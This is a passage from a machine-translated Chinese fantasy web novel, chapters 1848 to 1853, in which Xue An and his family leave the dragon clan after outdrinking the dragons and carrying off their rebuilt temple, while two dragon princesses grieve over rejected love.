    Because this little Lolita has a serious look that makes people laugh.


    Little Lori frowned, "What are you laughing at? I ask your boss!"


    Octopus Xiaoyu laughed louder, then raised her hand and squeezed Little Lori''s face, "Hey, it''s so cute!"


    Little Lori''s face was gloomy in an instant, her eyelids beating frantically.


    Zhang Xiaoyu didn''t know anything about it, but squeezed it easily, "Wow, it feels so good, I really want to take a bite!"


    That looks like drooling.


    Now Little Lolita broke out completely, her pink and tender fists clenched tightly together, and then raised her hand to give Zhang Xiaoyu a soaring cannon.


    Regardless of the fact that this little Lolita is small but surprisingly strong, she blasted the octopus away with a punch.


    Immediately after little Lolita quickly stepped forward, and according to Zhang Xiaoyu, she was fattened.


    After the beating, little Lolita said with her hands on her hips in a cold breath: "Dare to touch me? I can''t lift the knife, or are you floating?"

 Chapter 1848： I dont want to cry either, the key cant help it

    "The boss is forgiving, the boss is forgiving, I just see you look cute, so I can''t help but squeeze it!" Zhang Xiaoyu hugged his head very unambitiously and began to beg for mercy.


    Despite this, her eyes were still full of smiles when she was beaten and bruised.


    "Cute?" A layer of black lines appeared on Xiao Sha''s forehead, his teeth creaking.


    "Yeah, isn''t it cute?" Zhang Xiaoyu added again, so immortal.


    "I let you call me cute, I let you call me cute!"


    Xiao Sha raised the bottle-sized fist and beat Zhang Xiaoyu a few times.


    Zhang Xiaoyu screamed again and again.


    At this moment, I only heard a voice full of surprise.


    "Xiaosha? Is that you?"


    Xiao Sha turned his head to look, and saw An Yan standing not far away, looking at her with joy.


    Xiaosha immediately stopped, and then bowed respectfully to Anyan.


    "My mistress, it''s me!"


    As soon as the voice fell, thinking and nian nian poked out his head from behind An Yan.


    "Wow, Xiao Sha, when did you become so cute?" Nian Nian exclaimed first.


    Thinking about it, he walked forward and touched Xiaosha''s face with bright eyes.


    "So slippery and tender!"


    A black line appeared on Xiaosha''s forehead again, but in the face of thinking and thinking, she naturally couldn''t be as violent as she was dealing with Octopus.


    The corners of her mouth twitched a few times, and she smiled strongly.


    "Uh...Miss and Miss, you two are actually the cutest!"


    Thinking and Nian Nian Wenyan glanced at each other, then chuckled with her mouth covered.


    "What do you call us? Miss and Miss?" Think about it.


    "Yes, your father is my master. Isn''t it normal for me to call you this?"


    Speaking of this, Xiao Sha suddenly thought of something, and quickly turned away from the subject and asked: "My lord, why is the master not here? Where did he go?"


    An Yan smiled, "He, he seems to be drinking with a friend, he is probably drunk now!"


    As soon as the voice fell, only a calm voice came over.


    "Who said I was drunk?"


    With the voice, but seeing Guanghua flash, Xue An appeared on the scene.


    Upon seeing Xue An, Xiaosha immediately stood still, and then gave a deep salute, "Master!"


    Xue An waved his hand, and then looked at her with a faint smile, "How does it feel to have fallen asleep for so long?"


    "It doesn''t feel too much, it''s just like having a sleep." Xiaosha smiled.


    Xue An nodded and beckoned suddenly, "Come here, I have something to say,"


    "Yes!"


    Xiao Sha''s expression was solemn, and she immediately stepped forward.


    "Master, what''s your order?"


    Xiaosha really thought that Xue An had something to tell her, so her tone was very solemn.


    But she never expected that just after she had finished speaking, Xue An suddenly raised her hand to pinch her face.


    "Hey, it''s really cute, even I can''t help but want to squeeze it!"


    Xue An smiled like a strange uncle, with both hands together, squeezing Xiaosha''s chubby face into various shapes.


    Xiao Sha''s eyes gradually widened, and she looked at Xue An with a dull expression.


    She never expected that the master she had always respected would be so... superficial.


    Suddenly, a heartfelt grievance made Xiaosha''s big eyes gradually burst into tears.


    This charming appearance made Xue An feel guilty, and he couldn''t help but let go of his hand.


    "Ahem, sorry, it feels so good, I couldn''t hold it back for a while!"


    Xiaosha sniffed hard, trying to keep the tears in her eyes from falling.


    But in the end it failed.


    This body was obviously sensitive and terrible, and just a small grievance made Xiaosha fall into the golden beans.


    "Uh, this..."


    Xue An was suddenly a little confused. The little Lolita who was crying with pear blossoms and raining in front of him was really the heroic and dry cloud before. Is the old lady shutting up and killing your Xiaosha?


    Not only him, but even Zhang Xiaoyu looked stupid.


    She looked at the crying Xiaosha with a dull expression, and her blue and purple face was full of doubts.


    Is this still the master Xiao Sha who beat himself up just now?


    This is too **** fine!


    An Yan stepped forward and gave Xue An angrily.


    "Are you kidding me like that? Xiao Sha is a lovely girl anyway."


    Xue An smiled awkwardly, and obediently stepped aside.


    At this time, the two little girls also leaned forward and whispered comfortingly.


    "Okay, okay, stop crying, my dad is just joking with you!"


    "Yes, don''t cry, you are a dignified dragon!"


    Xiao Sha whispered and said: "I...I don''t want to cry, the point is...the point is that I can''t help it!"


    At the end, Xiaosha cried even louder.


    At this moment, the people of the Dragon Race also arrived after hearing the news.


    The Great Elder glanced at Xue An with infinite sadness.


    He didn''t need to ask, just relying on the scent of Xue An''s body could know who stole his wine.


    But what can I know?


    Could it be possible to step forward and question it?


    Stop making trouble, let alone whether Xue An will admit it, even if he admits it, it is estimated that his old bones are not enough for this Xue Papi.


    Forget it, just assume that nothing happened, just bear it.


    Thinking of this, the elder sighed, half distressed and half helpless.


    But Xue An seemed to be ignorant of what had happened, and even Chongda Elder said with a look of concern.


    "What''s the matter? Is the elder uncomfortable? You have to pay attention to your body when you are old, otherwise, what should you do if something happens?"


    Hearing these words, and looking at Xue An''s innocent expression, the Great Elder suddenly had an urge to vomit blood. After working hard for a long time, he calmed down the breath, and then smiled without a smile.


    "Master Lao Honglian has bothered. The old man is in very good health. It is estimated that there will be no accidents for the time being."


    Xue An showed white teeth and smiled brilliantly.


    "That''s good, that''s good!"


    At this moment, Ao Qing, who was checking Xiaosha''s condition, raised her head in shock.


    "how is this possible!"


    "What''s the matter?" the elder hurriedly asked.


    Ao Qing looked solemn and pointed to Xiaosha and said: "After she has been trained in the Holy Land , she has returned to normal, but what is strange is that she, who belongs to the dragon, now has a magic dragon and The blood of several other dragons."


    "What do you mean?" An Yan couldn''t help asking.


    Ao Qing took a deep breath, "It means that not only has she recovered, she has also merged several dragon bloodlines. Now she has a bloodline of her own, and can even be said to be a brand new dragon!"


    Everyone''s eyes widened, looking at Xiao Sha who was still crying.


    The contrast between this picture and Ao Qing''s description is so great that many people find it difficult to accept.


    Zhang Xiaoyu whispered at this moment: "After talking for a long time, I turned out to be a mixed blood!"


    As soon as the voice fell, a white light flashed, Xiao Sha, who was bowing his head and wiping tears, appeared behind her, then raised his hand and knocked on her head.


    Zhang Xiaoyu grinned with pain and couldn''t help but shouted: "What? Do you not even forget to beat me when you cry?"


    Xiao Sha choked and said, "Yes...yes, who...who asked you to call me!"

 Chapter 1849： So... love will disappear right? ...

    Xiaosha finally stopped crying!


    But as soon as the crying ceased, the two little girls happily dragged them to play the house.


    She was dragged and staggered forward, the expression on her face was uglier than crying, and it could be described as unlovable.


    Seeing this scene, Ao Qing couldn''t help but smile.


    "I have to say, you two daughters are really lively!"


    Xue An smiled faintly, "Thank you!"


    This strange response made Ao Qing a little bit dumbfounded, but immediately she returned to normal, and then whispered: "Master Honglian, thank you so much for this matter!"


    "You don''t have to be polite, just take what you need, otherwise I won''t be able to save my men." Xue An said lightly.


    Ao Qing gritted her teeth, "Then do you know what the condition of your subordinate represents?"


    "What does it mean?"


    "A new kind of dragon that has never appeared before. This discovery is enough to shake the entire demon world, because her blood can inject new vitality into the blood of the dragon that has reached a deadlock!"


    Xue An turned his head and glanced at her, "So what? Do you want to keep her?"


    Ao Qing smiled bitterly and shook her head, "I haven''t thought about it, because I know it''s impossible."


    "The princess knows herself!" Xue An smiled.


    Ao Qing smiled, and then solemnly said: "But I don''t think so, it doesn''t mean that others don''t think so."


    "Oh, who are you talking about?"


    "For example, those of the genus of Flood Dragons, these beings do nothing to improve their bloodlines, and Xiaosha is no different from a panacea for them."


    "You mean, let me beware of a group of flood dragons?" Xue An said lightly.


    "It sounds unbelievable, but it''s true! Because... the strength of some flood dragons is unimaginable! In addition, there are coveting from the major monster races, you must be careful."


    Xue An nodded, "Thank you!"


    Ao Qing was a little anxious, "I''m serious, you must be more careful."


    "I''m serious too!"


    As he said, Xue An smiled slightly, "You know, there have been several people before you want to remind me to be more careful, so I don''t care about this one!"


    "Okay!" Ao Qing nodded.


    At this moment, the elder elder smiled and leaned forward, "Tell the elder princess, our group of elders discussed it and felt that the return of the Holy Land is a great event, plus the celebration of the three princesses before. It��s held, so I��m going to celebrate. What do you think?"


    Ao Qing was startled slightly, and then nodded, "Yes, but there is one thing, don''t invite foreigners."


    "Naturally, now the whole monster race is enthusiastic about the emperor flow, even if we invite them, they probably wouldn''t dare to come." The elder smiled.


    "Well, you can arrange the rest."


    "Yes!"


    As the great elder said, the return of the Holy Land to normal is indeed a happy event.


    Because the holy land is not only the source of dragon power, but also the symbol and spiritual totem of the dragon. In a sense, the latter has a greater role than the former.


    When the Holy Land gradually dried up, even though the news was tightly sealed, the elders who knew it were still under tremendous pressure.


    Now the crisis is lifted and everything is back to normal.


    The whole dragon clan naturally rejoiced.


    In this atmosphere, the elders unanimously decided to rebuild the temple that was previously demolished.


    There are two main considerations for this.


    One is that the temple, as an important meeting place for dragons, is the most suitable place for this celebration.


    The second and most important point is that Xue An is happily working with the Dragon Clan now, and after a rebirth, his temperament seems to have changed a lot.


    At least it is no longer the same as before, when it comes to the dragon clan, it is a "forcible and arrogant seizure", without even talking about any truth.


    Apart from stealing a few jars of wine this time, there was not much excessive action.


    Based on the comprehensive consideration of these two aspects, the dragon elders made this decision.


    Among them, only the elders always felt something wrong.


    But now the situation of the entire dragon clan is like this, he is not good to come forward to stop, so he also agreed.


    Just do it.


    After giving an order, the dragons large and small burst out with 200% enthusiasm.


    It only took two days, and this building was not too big on the outside, but the temple inside was rebuilt.


    But these dragons didn''t notice that when the temple was built, there was an existence coveting it.


    It can be frightened by the mighty power of the Dragon Clan, it dare not pass, and can only hide in the corner with a halazi.


    One drop of saliva fell on the little fox.


    The little fox''s disgusted hair exploded, but in the end he sat down honestly.


    Because after these days of torture, it has become clear that it cannot get rid of this chubby koi.


    That''s right.


    Facing the temple, it is the tool spirit of Fubao Xiaolou, the magical rune ball.


    Also a rare construction tool spirit, this shrine containing countless dragon consciousnesses has a fatal attraction to the ball.


    It can be said that if it wasn''t for the dragons to be too strong, the ball would have rushed forward desperately.


    Even so, it was still reluctant to leave, but stared blankly, seeming to be thinking about how to swallow this temple.


    at the same time.


    Xue An, who was drinking tea with the two sisters Ao Qing and Ao Shu in the tea pavilion, occasionally felt a little bit, and turned his head slightly to look towards the ball.


    Although they are far apart, Xue An''s divine mind still has a clear view of everything.


    After seeing the saliva at the corner of the ball''s mouth and the desire in his eyes, Xue An was slightly startled, and even revealed a hint of meaningful smile.


    "Brother Honglian, what are you laughing at?" Ao Shu couldn''t help but ask.


    "It''s nothing, it''s just a funny thing suddenly remembered."


    "Oh!" Ao Shu was a little disappointed.


    Obviously he has dressed up carefully for a long time, but why does Brother Gulian refuse to look at himself more?


    At this moment, Ao Qing suddenly received a message that some urgent matters need to be dealt with, so she got up to say goodbye to Xue An and left in a hurry.


    When she left, Ao Shu''s face lighted up and said to Xue An, "Brother Honglian, do you remember what I said before?"


    Xue An, who was calculating how to pack up this temple, was taken aback when he heard the words.


    "What are you talking about?"


    Ao Shu''s expression immediately became sad, "You really don''t remember!"


    As she said, she lowered her head, "I once made an oath. The first man to see my true appearance is my home. Have you forgotten all this?"


    Xue An was stunned, and then there was an embarrassment on his face, and he sighed lightly: "Sister Ao Shu, I really just happened to pass by that day, don''t think too much!"


    Ao Shu Huo Ran raised her head, tears in her eyes, "Passing by? Passing by can prove our fate!"


    "Stop making trouble, I have kids!"


    Ao Shu stared at Xue An, and only then said quietly after a long time: "So...love will disappear, right?"

 Chapter 1850： Originally ruthless, why not talk about it?

    Xue An remained silent, and finally sighed softly: "Third princess, thank you for your wrong love, but please stop saying these words!"


    After all, Xue An stood up and walked out.


    Ao Shu''s tears slipped instantly, and he suddenly shouted, "Brother Honglian, are you so unfeeling?"


    Xue An stopped in front of the door, without turning his head back: "There was no such thing, so why are you unfeeling?"


    Xue An is gone.


    Go very decisively.


    Ao Shu cried bitterly at the desk, only feeling that his heart was broken.


    In her memory, she had only cried like this twice, the first time when she heard the news of Xue An''s death.


    It can be said that almost all the tears of the three princesses shed for Xue An from the beginning of the memorial.


    Unfortunately, this can only touch her.


    At this moment, a hand was placed lightly on her shoulder.


    Ao Shu looked up with teary eyes and looked up at the princess Ao Qing who did not know when to return.


    I saw Ao Qing sigh lightly: "Did he tell you?"


    Ao Shu''s tears were instantly like a flood that bursts a bank, and they couldn''t be wiped off, and he couldn''t even speak.


    Ao Qing held her in her arms distressedly, and sighed: "It''s alright, it''s better to cry out."


    Ao Shu was already crying and couldn''t breathe, and choked up and said, "Sister...Sister, you...what''s wrong with me? Why...why doesn''t he want me?"


    "It''s not that you are bad, but that you like someone you shouldn''t like!" Ao Qing patted her sister''s back painfully.


    "But... but is it wrong to like someone?" Ao Shu struggled and raised his head and said to her sister.


    "Silly girl, it''s okay to like someone, but you have to see if the person you like likes you!"


    Ao Shu lowered his head when he heard the words, and his tears fell on his feet. The poor appearance made Ao Qing very distressed.


    "Good Shuer, don''t be sad. There are no men in the world. Depending on your conditions, you can pick an outstanding young man in the heavens, so why not look for him?" Ao Qing advised.


    "But he is the only one who is my Honglian brother!" Ao Shu said with tears in his eyes.


    Ao Qing was speechless, and after a long time, she let out a long sigh.


    "Injustice!"


    At the same time, An Yan sat on a large rock at the top of a Dragon King��s tomb outside the tea pavilion, with his legs stretched out and swayed gently.


    After hearing the sound of footsteps coming from behind, An Yan didn''t even turn his head, but laughed softly: "Is it all clear?"


    Xue An smiled without saying a word, sat directly next to her, and then gently wrapped her shoulders.


    An Yan lay in his arms.


    For a while, both of them became quiet.


    In the distance, the brilliance of the Dragon Sacred Land was fluctuating, and the reflected sky changed color.


    After a long time, An Yan sighed slightly.


    Xue An lowered his head and fiddled with the hair on her face, and said softly: "What''s the matter?"


    An Yan whispered: "It''s nothing, just a little sigh suddenly."


    "What do you sigh?"


    "I sigh why my husband is so popular, no matter where I go, I can meet people who like him." An Yan said with a smile.


    But these words made Xue An feel cold from his back, and couldn''t help but cough a few times, "Ahem, Yan''er, I have already clarified the words to her, you..."


    An Yan interrupted him directly, "I know you made it clear, and I didn''t blame you."


    As he said, An Yan stared at Xue An with a smile, "What are you doing so nervously?"


    "Nervous? I''m not nervous, Yan''er, are you wrong?" Xue An gave a strong smile.


    An Yan couldn''t help but punched his chest lightly, and said, "Look at you like that!"


    He said that he also laughed.


    Xue An was relieved, and then squeezed her nose viciously, "Okay, I dare to tease her husband, let''s talk, what''s the crime?"


    "Um..." An Yan waved his arm, finally knocked Xue An''s hand off, and then gave Xue An a bitterly white look.


    "hate!"


    "Hey!"


    After another show of affection, An Yan leaned his head on Xue An''s shoulder and said softly: "I want to say I am not angry, do you believe it?"


    "letter!"


    A joke, even if Xue An doesn''t believe it, he can''t tell the truth now.


    "Bah, not sincere. What I said is true, because I know you have me in your heart, so I won''t care about the minor things, and you don''t have to be so nervous." An Yan said softly.


    Xue An nodded, "Okay!"


    "Husband!"


    "Ok?"


    "Now Xiaosha is also awake, where are we going next?"


    "What do you think?" Xue An looked at An Yan with a smile.


    "I do not know."


    Xue An raised his head to look at the distant sky, and said faintly: "Arou''s eyes have also been healed, and then Fox Ye will definitely take her back to Qingqiu Fox Country, and we will go with him."


    "Go to Qingqiu Fox Country?"


    "Yes! Going back this time, he will definitely endure pressure from all sides. As a buddy, of course I have to help him."


    "You mean that Foxye''s family won''t agree?"


    "That''s for sure Don��t look at Huye Diaoerlang as a worthless man. In fact, he has a very high status among the monsters. In terms of identity alone, he can be called among the heavens. The second generation of the top demon, and Arou..."


    Xue An did not finish, but An Yan already understood what it meant.


    Compared with Fox Ye''s identity, Arou''s identity is one heaven and one underground. With such a huge gap, it is naturally difficult for Qingqiu Fox Country to agree.


    "Yeah, then we will go back with Fox Night. If someone dared to obstruct this marriage maliciously, my pan will not be vegetarian."


    When he said this, An Yan looked solemn.


    Xue An smiled faintly, "I shouldn''t be able to reach that point. Anyway, I am also a former Immortal Venerable, and the Great Elder of the Qingqiu Fox Country must give me some face.


    "Then when shall we leave?"


    "Don''t worry! I have to wait until this celebration is over, because...I still have an important thing to do!"


    "What''s the matter?" An Yan asked curiously.


    "At that time, you will know, in short, it is a very important thing." Xue An said with a mysterious face.


    This celebration did not invite foreigners to participate, but it was more solemn.


    First, the large and small dragons squeezed the sky full, and then these dragons uttered high and low dragons at the same moment.


    These dragons'' voices are mixed together to form an indescribable song.


    Song of the Dragon!


    A war song used to commemorate major events or activities among the dragon clan.


    When the song is over, the temple becomes lively.


    Countless delicacies and wines were presented like flowing water, and the dragons drank and feasted, enjoying this rare joy.


    As the most distinguished guests in this celebration, Xue An and others are naturally among them.

 Chapter 1851： The young man in white wins snow

    Because of Xue An''s great reputation, the entire dragon clan came over and wanted to have a drink with Xue An.


    Xue An doesn''t refuse anyone who comes, no matter how big or small, everything is done at the cup.


    Now, more people came to drink with him.


    Many dragons have a mysterious smile on their faces, secretly thinking that although the former Immortal Venerable is powerful, he can never drink more than our dragons.


    After all, no matter how good he is, he is not as big as our dragon.


    With this thought in mind, the dragons toasted and toasted more vigorously.


    When Hu Ye saw this, he couldn''t help but curl his lips.


    This gang of big loaches is really very tough. They dare to compete with Old Xue for drinking. Do you think you will be drunk enough to die?


    Fox Ye has never seen Xue An drunk, and naturally has full confidence in Xue An.


    But I never expected that after two rounds of drinking, Xue An''s face gradually turned red, and he actually appeared a little drunk.


    "Huh! What''s going on?" Hu Ye said slightly, always feeling a little weird.


    Xue An, who can drink to the limitlessly old at ordinary times, became drunk so quickly this time?


    He was puzzled.


    But this group of dragons was overjoyed when they saw this.


    It seems that the previous guess is correct. When it comes to drinking, the former Immortal Venerable is still almost.


    If this knocks him down, then you can go out and brag and say that you have put down the dignified Xianzun once, that would be more face.


    At this point, more dragons came to toast.


    Even the elders of the Dragon Clan joined the excitement.


    Xue An is still dry with the cup, not ambiguous at all, but on the other hand, his face is getting redder, and even his eyes become blurred.


    I have to say that his appearance is really confusing.


    Even the great elder, who had just been in doubt, couldn''t help but relax at this moment, and then thought of gloating.


    Hum, let you steal my drink, let''s do it now!


    After a while, I will get you so drunk, and I will breathe out this bad breath in my chest.


    Thinking of this, the elder also walked over with a wine and smiled.


    "Master Gulian, I didn''t say anything. It would not have been successful without your help, so I toast you!"


    "Good!" Xue An answered vaguely.


    In the blink of an eye, it was another glass of wine.


    Xue An''s tongue seemed to be bigger.


    Seeing this, Hu Ying and others couldn''t help but feel a little worried.


    "Sister Yan, let''s go and break the siege for Brother Xue. This group of dragons is too damning. They clearly want to give Brother Xue more!"


    Unexpectedly, An Yan smiled and shook his head, "Don''t worry, let''s watch!"


    "Huh?" Hu Ying thought she had misheard, "Just look at it?"


    "Yes, just look at it like that, because your brother Xue obviously has his own plans!" An Yan said softly.


    Having been with Xue An for so long, An Yan knows Xue An''s current drinking capacity better than anyone, so it is absolutely impossible to drink Xue An with this little wine.


    So Xue An looks like this, obviously there are other reasons.


    Hu Ying couldn''t say anything, she could only look at Xue An with a worried expression.


    At the same time, another gaze glanced over.


    It was Ao Shu sitting in the corner.


    In fact, she had come long ago, but she had been sitting in the corner, without saying anything from beginning to end.


    The other dragons did not dare to provoke her, because her eyes were so gloomy as a bottomless pool, which made people afraid to look directly.


    It wasn''t until Xue An seemed to be drunk that he looked over slightly.


    Xue An seemed to feel it, turned his head to look at her, then smiled slightly and raised his glass.


    Ao Shu shook his whole body and hurriedly lowered his head.


    "He is drunk!" Ao Qing said lightly, who appeared behind her at some unknown time.


    "Ok!"


    "Let''s go, see him for the last time, and then stop thinking about it!" Ao Qing continued.


    Ao Shu was silent, but quietly stood up and followed Ao Qing out.


    Until the moment when he was about to step out of the temple, Ao Shu suddenly turned his head to look at Xue An from a distance.


    At this moment, although Xue An, who was surrounded by many dragons, was somewhat drunk, he was still so extraordinary.


    In a daze, Ao Shu returned to the past, back to the afternoon when she first saw Xue An.


    At that time, he was like this too, in white clothes was better than snow, young as jade.


    An extremely deep pain appeared in Ao Shu''s eyes, and finally turned his head resolutely and walked out.


    The eldest princess and the third princess returned to the Holy Land.


    The atmosphere in the temple became more and more heated.


    Not only Xue An, but almost all the dragon races had blushes on their faces.


    Some of them were already too weak to drink and started to fall asleep.


    Xue An''s complexion was red, still the first three-point drunkenness, without the slightest change.


    If the great elder could see this scene soberly, he would definitely smell the conspiracy.


    Unfortunately, because of the eagerness to get Xue An drunk, the great elder is already drunk and confused now, and even his thinking has become unclear.


    At this time, Hu Ye also saw the clues and couldn''t help but heaved a sigh of relief, then sat back on the chair and looked at the scene in front of him with a smileWhat are you laughing at? "A Rou asked.


    "Hey, I''m laughing at these big loachs that they are so stupid that they don''t know it. Old Xue is clearly digging holes for them, but in the end they thought there was a bargain to take advantage of, let''s go! It''s bad luck."


    really.


    Xue An obviously accelerated the speed of drinking, and began to take the initiative, specifically looking for strong dragons like the elder to fight for wine.


    The cup was not enough for a long time. People began to drink from the wine bowl, but then they simply abandoned the bowl and blown directly on the bottle.


    Under such an offensive, this great elder was the first to fall.


    I saw his eyes blurred, the whole person leaned back, thumped and fell to the ground. Then there was a snoring sound, and he died of drunkenness.


    Then this group of dragon elders began to fall one after another.


    After a while, there were no dragons standing in the entire temple.


    After doing all this, Xue An slowly drank the last glass of wine, then closed his eyes, and when he opened it again, the previous drunkenness had disappeared.


    They were replaced by bright, horrifying eyes and a smile at the corners of the mouth.


    "You dare to fight with me, are you kidding me?"


    With that said, he slowly stood up and said to An Yan, "Yan''er, clean up!"


    "What to pack?"


    "Naturally pack your luggage!"


    An Yan opened his eyes wide, "packing?"


    "Yes, we have been in the Dragon Clan for so long, so it''s time to leave!"


    "Oh, OK!"


    Soon, An Yan brought Miss Miss and the others back to Fu Bao Xiaolou.


    At this time, Hu Ye couldn''t help but leaned forward and asked, "Old Xue, what the **** are you doing? Why are you leaving in such a hurry?"


    "Isn''t it for you?"

 Chapter 1852： Where is the temple? What about a large temple...

    "for me?"


    "Yes, the matter between you and A Rou must be resolved, and the fox has already gone back early. This matter should not be too late. It is better to return to the Qingqiu Fox Country earlier!"


    "but����."


    "Okay, there are not so many, but come on, do me a favor!"


    With that, Xue An dragged these drunk dragons and began to drag out.


    "What is this?" Hu Ye asked with a dull expression.


    "Which so much nonsense, just do it if you let you do it, and work quickly!"


    Fox night had no choice but to follow suit.


    In the blink of an eye, the dragons of the entire temple were dragged outside by the two.


    Then Xue An clapped his hands, looked up at this huge temple, and smiled.


    "Didn''t you know that I was coming, and even the temple was demolished? This time I still have to teach you a lesson."


    With that, he pucked his fist twice, and then walked forward with a smile.


    The Great Elder was the first to fall drunk and was the first to wake up.


    When he opened his eyes, a severe headache made him groan uncontrollably.


    "Damn, I drank too much, I can''t do this in the future."


    Muttering in his mouth, the elder slowly sat up.


    "Huh, where is this place?"


    The elder was surprised to find that he was not in the temple, but lying on the ground, he couldn''t help being a little confused.


    Then he saw the many dragon races lying on the ground all around and still sleeping, and he couldn''t help but feel excited.


    "How is this going?"


    He jumped up from the ground, looked around, and found that he was still in the ancestral land of the dragon clan, and he was slightly relieved.


    He just thought that a foreign enemy had invaded and captured all his group.


    But shortly afterwards, his breath froze in his chest, and then he froze in the air, staring blankly.


    A gust of wind blew by, and the place where the temple should have stood, was a blank ground at the moment.


    The elder''s eyes were dull, and he was silent for a full cup of tea, then raised his head and let out a terrible howl.


    "Where is the temple?"


    "Where are we such a big temple?"


    The shouting awakened the sleeping dragons.


    People got up one after another and looked around blankly, until after a while did they know what was going on.


    Then the whole dragon clan completely exploded.


    The great elder shouted hoarsely: "Don''t ask, this thing must be done by that fellow Xue An, this Xue Papi can do anything!"


    The rest of the elders even wanted to cry without tears, "What can I do?"


    "I said at the time that the temple should not be built, let''s do it now!"


    "You said a fart at that time, and you were the most positive in favor of it at the time!"


    "The temple is gone, shouldn''t it be the case? No, I have to chase it back!"


    "That''s right, chase it back, this Xue Papi has not changed his instincts, and we dragons will never end with him!"


    For a time, the dragons were angry, and shouted with indignation to chase the temple back.


    The elder was still the most calm, "Chasing? How to chase? Not to mention that Xue Papi has been walking for a long time. With his feet, he may have left the Dragon Realm now, where are you going to chase?"


    "Even if you catch up, who of you can beat him?"


    "What should I do? Don''t just forget it?" a dragon elder shouted.


    The great elder''s expression changed and he seemed to be thinking about something.


    At this moment, the eldest princess Ao Qing also arrived after hearing the news.


    After seeing the scene in front of her, she couldn''t help being a little dumbfounded.


    "What? Take down the temple?"


    The elder nodded with a pained look, "Yes! I blamed me for being incompetent, but I didn''t even see that Xue Bapi was hiding evil intentions."


    Ao Qing couldn''t laugh or cry, and stomped her feet bitterly, "This Xue An, do things... why are things so unreliable?"


    "Princess, what should we do now? The temple is gone, where are we going to work!" The elder said pitifully.


    "Yes, princess, what can you do about this?"


    The elders of the dragon clan began to clamor again.


    Ao Qing waved his hand, "This is the end of the matter, so you have to feel wronged first. Fortunately, the holy land of our dragon race has been restored, and it is not difficult to build a new temple!"


    "But the eldest princess, can this be the case?"


    "Yes, this Xue Papi is so deceiving! We really can''t swallow this breath!"


    "Then what are you going to do?" Ao Qing sighed, "Look for him with great fanfare? Then the whole demon clan and even the whole heavens know that our dragon clan''s temple has been stolen?"


    The elders were instantly speechless.


    Yes!


    If this incident were to spread out, it would be a devastating blow to the face-saving dragons.


    "So the most important thing now is not to mess around. Xue An stole our temple, but he also helped us. This matter will be put aside for the time being. When there is a chance, I will let him explain. ."


    In just a few words, Ao Qing calmed down the dragons.


    Even if they don''t want to, they can only swallow in their stomachs now.


    Nevertheless, these dragons are still full of depression and the atmosphere has become very depressed.


    Ao Qing could only sigh at this, and after a few more instructions, he turned and returned to the Holy Land.


    But when she returned here, she suddenly noticed something strange, she couldn''t help but shook her whole body, and immediately shouted, "Shu''er? Shu''er, where are you?"


    The Holy Land was empty, and there was no echo.


    Ao Qing''s complexion changed drastically, and she immediately flew up, covered her spiritual thoughts, and explored the entire holy place.


    There was still no trace, but there was a trace of breath left in the tea pavilion.


    Ao Qing appeared in the tea pavilion for an instant, and saw a small note on the table.


    It says, Sister, I still can''t let go of the knot in my heart, so I decided to go out for a while, don''t read it!


    The final signature was Ao Shu.


    And there were tears on this small note. Obviously, Ao Shu cried when writing this.


    Ao Qing''s face was pale, she pinched this note, her eyes showed a chill for the first time.


    As the de facto head of the family, she has always had a preference for the third sister Ao Shu.


    Unexpectedly, she would leave without saying goodbye and say something to go to the heavens to roam.


    How can this not make Ao Qing angry.


    "Shu''er, you fool!" Ao Qing gritted her teeth, and the blue veins on her forehead appeared.


    Then she turned around and was about to tell people to go out and find her sister Ao Shu.


    But at this moment, the brilliance in the Holy Land suddenly began to surge violently.


    A familiar figure slowly rose from it.


    The elf elves, who had been sleeping, also woke up and began to dance around this figure.


    Then the figure suddenly opened his eyes.


    The light in his eyes is like a sword, with awe-inspiring momentum.


    It was the second princess Ao Yi who strayed into the mystery of Yuehua and slept till now.

 Chapter 1853： Fox punishment, waiting for Master Guren

    Ao Qing looked at with excitement, and said softly: "Yier..."


    But I never expected that Ao Yi, who just woke up, did not have any joy. On the contrary, he looked around with a sinking face, and then said in a deep voice: "Sister, where is Fox Ye?"


    "Uh..." Ao Qing was caught off guard and had to tell the truth.


    "Huye just left with Master Honglian and them!"


    "Gone?" Ao Yi''s voice suddenly increased by an octave. "Just left in such an understatement? What about my marriage?"


    "Marriage?" Ao Qing shook her head. "Didn''t the marriage between you have been cancelled long ago?"


    "Nonsense, who canceled with him? I have never said this." Ao Yi shouted loudly, and these emperor flow elves also danced up and down.


    "Okay, Yi''er, don''t mess around, things have become like this, so don''t worry about it anymore." Ao Qing sighed lightly.


    "No, he left like this without giving me an explanation. I absolutely disagree." Ao Yi became more excited.


    Ao Qing was suddenly a little tired, why didn''t her two sisters let her worry?


    The third princess Ao Shu left without saying goodbye because of her deep-rooted love for Xue An.


    Now a second princess, Ao Yi, is entangled here.


    Ao Qing''s head couldn''t help but start to hurt.


    At this time, the second princess Ao Yi was even more excited, clamoring to chase after Fox Night.


    "Enough!" Ao Qing shouted sharply.


    The majesty of being the eldest sister immediately made Ao Yi shut her mouth obediently.


    "The face of our dragon clan is almost lost by you and the third child. That Fox Ye is just the future heir of the Qingqiu Fox Country. Is there anything you can''t forget so much about it? Actually planning to chase him! What can you do? Propose to him in public?"


    Ao Qing was so angry that she hated iron for not making steel.


    Ao Yi lowered his head and said nothing.


    Seeing this, Ao Qing couldn''t help but soften, and persuaded with all his heart.


    "Yi''er, you have inherited Diliuzhi now. This is a great opportunity. You should work hard to grow yourself up as soon as possible, instead of entangled in the marriage contract, understand?"


    Ao Yi was silent for a long time, then nodded, "Understood!"


    Ao Qing breathed a sigh of relief, "Well, you just woke up, let''s go and rest first!"


    "Yes!"


    Ao Yi turned and left.


    But the eldest princess Ao Yi didn''t notice. At the moment when she turned around, Ao Yi''s eyes flashed with a bit of bitterness and determination.


    Dragon women have always been obsessed, and they will walk all the way to the black if they decide anything.


    The third princess Ao Shu is like this.


    This Ao Yi is even more so.


    Fox night, you never want to abandon me!


    After I finish smelting the opportunity I got this time, I will go to you to settle the account.


    Ao Yi thought bitterly.


    at the same time.


    Hu Ye, who was driving in the void, suddenly sneezed several times.


    "What''s the matter? Is this someone scolding me behind?" Hu Ye said with a gloomy face rubbing his nose.


    "Hehe, isn''t it normal for someone to scold you?" Xue An said with a smile.


    "Don''t come to this set, you have demolished the temples of other people''s dragons this time, and you are scolded first if you want to be scolded!" Hu Ye muttered.


    "They dare not!" Xue An said lightly.


    This sentence Linghuye was speechless, and had to give Xue An a thumbs up after a moment of silence.


    "It''s because you are so good, you dug someone''s temple, and they dare not scold you!"


    "Haha, I''ve been rewarded."


    An Yan said worriedly at this moment: "Husband, how is the situation in Fu Bao Xiaolou now?"


    "Yes, yes, how is the ball?" Miss Miss also said.


